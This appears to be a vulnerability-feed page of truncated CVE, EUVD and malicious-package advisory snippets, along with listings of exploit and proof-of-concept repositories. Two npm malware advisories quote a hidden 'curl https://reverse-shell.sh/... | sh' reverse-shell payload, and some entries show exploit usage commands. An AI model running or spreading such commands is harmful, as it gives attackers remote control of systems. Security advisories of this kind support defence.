CVE-2026-105704 SourceCodester Drug Recommendation System Auth Guard improper authentication

A vulnerability was identified in SourceCodester Drug Recommendation System 1.0. This affects an unknown function of the component Auth Guard. Such manipulation of the argument userid leads to improper authentication. The attack can be executed remotely. The exploit is publicly available and migh...

Exploit for Improper Handling of Exceptional Conditions in Apache Struts

Struts Patch-Gap Auditor A small Python tool that finds Apach...

CVE-2026-42945

🛡️ CVE-2026-42945 - NGINX Rift تجاوز سعة المخزن المؤقت على الكومة Heap حرج في NGINX 📌 نظرة عامة CVE-2026-42945 المعروف أيضًا باسم NGINX Rift هو ثغرة أمنية حرجة في الوحدة النمطية ngxhttprewritemodule الخاصة بـ NGINX. النوع : تجاوز سعة المخزن المؤقت على الكومة Heap-based Buffer Overflow CWE-122 تاري...

wp2shell

🔍 wp2shell - Scanner de vulnérabilité et exploit pour WordPress CVE-2026-63030 ⚡ Scanner de vulnérabilités et exploit rapide et en temps réel pour CVE-2026-63030 wp2shell 📌 Aperçu wp2shell est une boîte à outils complète pour détecter et exploiter CVE-2026-63030 , une vulnérabilité critique dans...

Preproduce-CVE-2019-0232

CVE-2019-0232 - Exécution de code à distance dans le servlet CGI Apache Tomcat Ce dépôt fournit un environnement de laboratoire basé sur Docker pour reproduire la vulnérabilité CVE-2019-0232 dans Apache Tomcat 9.0.17 sur Windows. Présentation de la vulnérabilité CVE-2019-0232 est une vulnérabilit...

CVE-2026-40859

camel-netty-http / camel-vertx-http Reproducteur de désérialisation non sécurisée de réponse HTTP CVE-2026-40859 Ce projet démontre une vulnérabilité de désérialisation Java dans les composants camel-netty-http et camel-vertx-http d'Apache Camel, suivie sous le nom CVE-2026-40859. Lorsqu'un point...

CVE-2026-105703

The PHPGurukul User Registration & Login and User Management System 3.3 is vulnerable to an incorrect authorization flaw within the Change Password Handler component. Specifically, an unknown function in the file loginsystem/admin/change-password.php fails to properly validate the currentpassword...

EUVD-2026-92938

A vulnerability was determined in PHPGurukul User Registration & Login and User Management System 3.3. The impacted element is an unknown function of the file loginsystem/admin/change-password.php of the component Change Password Handler. This manipulation of the argument currentpassword causes...

MAL-2026-17633 Malicious code in internallib_v30 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe [email protected] ships a single index.js whose exported command function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443...

MAL-2026-17634 Malicious code in internallib_v86 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07 internallibv86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting...

log4shell-exploitation-detection

Log4Shell CVE-2021-44228 Exploitation, Détection et Remédiation Un projet de sécurité offensive et défensive pratique simulant le cycle de vie complet de la vulnérabilité Log4Shell : exploitation depuis une VM contrôlée par l'attaquant, ingénierie de détection dans Splunk, et remédiation validée...

CVE-2023-30990

استغلالات CVE-2023-30990 انظر مقالنا في المدونة للتفاصيل: https://blog.silentsignal.eu/2025/09/04/Exploit-development-for-IBM-i/ تتطلب نصوص Python النصية وحدة ebcdic: pip install ebcdic طريقة DRDA S38CMD python3 ddm.py "" طريقة DRDA SQL python3 ddm-bypass-test.py "" غلاف ربط بسيط مع طريقة S38CMD...

abdal-cve-2026-63030

English | فارسی 🛡️ Exploits PoC Abdal CVE-2026-63030 Abdal CVE-2026-63030 est un vérificateur défensif d'exposition WordPress pour la confusion de route par lots de l'API REST, référencée sous le nom de CVE-2026-63030. Ce problème peut être enchaîné avec CVE-2026-60137 sur les versions WordPress...

patch-CVE-2026-28001

Correctif : CVE-2026-28001 Détails de la vulnérabilité CVE : CVE-2026-28001 Produit : Splunk Enterprise Description : Exécution de code à distance dans l'analyse SPL Gravité : Critique État du correctif : DÉPLOYÉ Champ| Valeur ---|--- Date du correctif| 2026-07-22 Statut| déployé Déployé sur|...

RCE-CVE-2026-10520-CVE-2026-10523

CVE-2026-10520 et CVE-2026-10523 Un générateur d'artefacts de détection pour le contournement de l'authentification et l'exécution de code à distance Ivanti Sentry. Voir notre article de blog pour les détails techniques. Détection en action $ python3 CVE-2026-10523.py --url https://127.0.0.1 --cm...

cve-2022-36804

Atlassian Bitbucket RCE PoC - CVE-2022-36804 يحتوي هذا المستودع على سكربت بسيط لإثبات المفهوم PoC لثغرة تنفيذ التعليمات البرمجية عن بُعد في Atlassian Bitbucket. يمكنك ببساطة تشغيل هذا السكربت عبر الأوامر التالية: echo 'bitbucket.redacted.com' | python3 cve-2022-36804.py أو يمكنك إنشاء ملف أهداف م...

CVE-2026-105621 jishenghua jshERP Financial Receipt Update AccountHeadService.java updateAccountHeadAndDetail improper authorization

A security flaw has been discovered in jishenghua jshERP up to 3.5. Affected is the function updateAccountHeadAndDetail of the file jshERP-boot/src/main/java/com/jsh/erp/service/AccountHeadService.java of the component Financial Receipt Update Handler. Performing a manipulation results in imprope...

CVE-2026-105621 jishenghua jshERP Financial Receipt Update AccountHeadService.java updateAccountHeadAndDetail improper authorization

A security flaw has been discovered in jishenghua jshERP up to 3.5. Affected is the function updateAccountHeadAndDetail of the file jshERP-boot/src/main/java/com/jsh/erp/service/AccountHeadService.java of the component Financial Receipt Update Handler. Performing a manipulation results in imprope...

EUVD-2026-92937

A security flaw has been discovered in jishenghua jshERP up to 3.5. Affected is the function updateAccountHeadAndDetail of the file jshERP-boot/src/main/java/com/jsh/erp/service/AccountHeadService.java of the component Financial Receipt Update Handler. Performing a manipulation results in imprope...

CVE-2026-105621

The software jishenghua jshERP (versions up to 3.5) contains an improper authorization vulnerability within the Financial Receipt Update Handler component. Specifically, the updateAccountHeadAndDetail function in the file jshERP-boot/src/main/java/com/jsh/erp/service/AccountHeadService.java allow...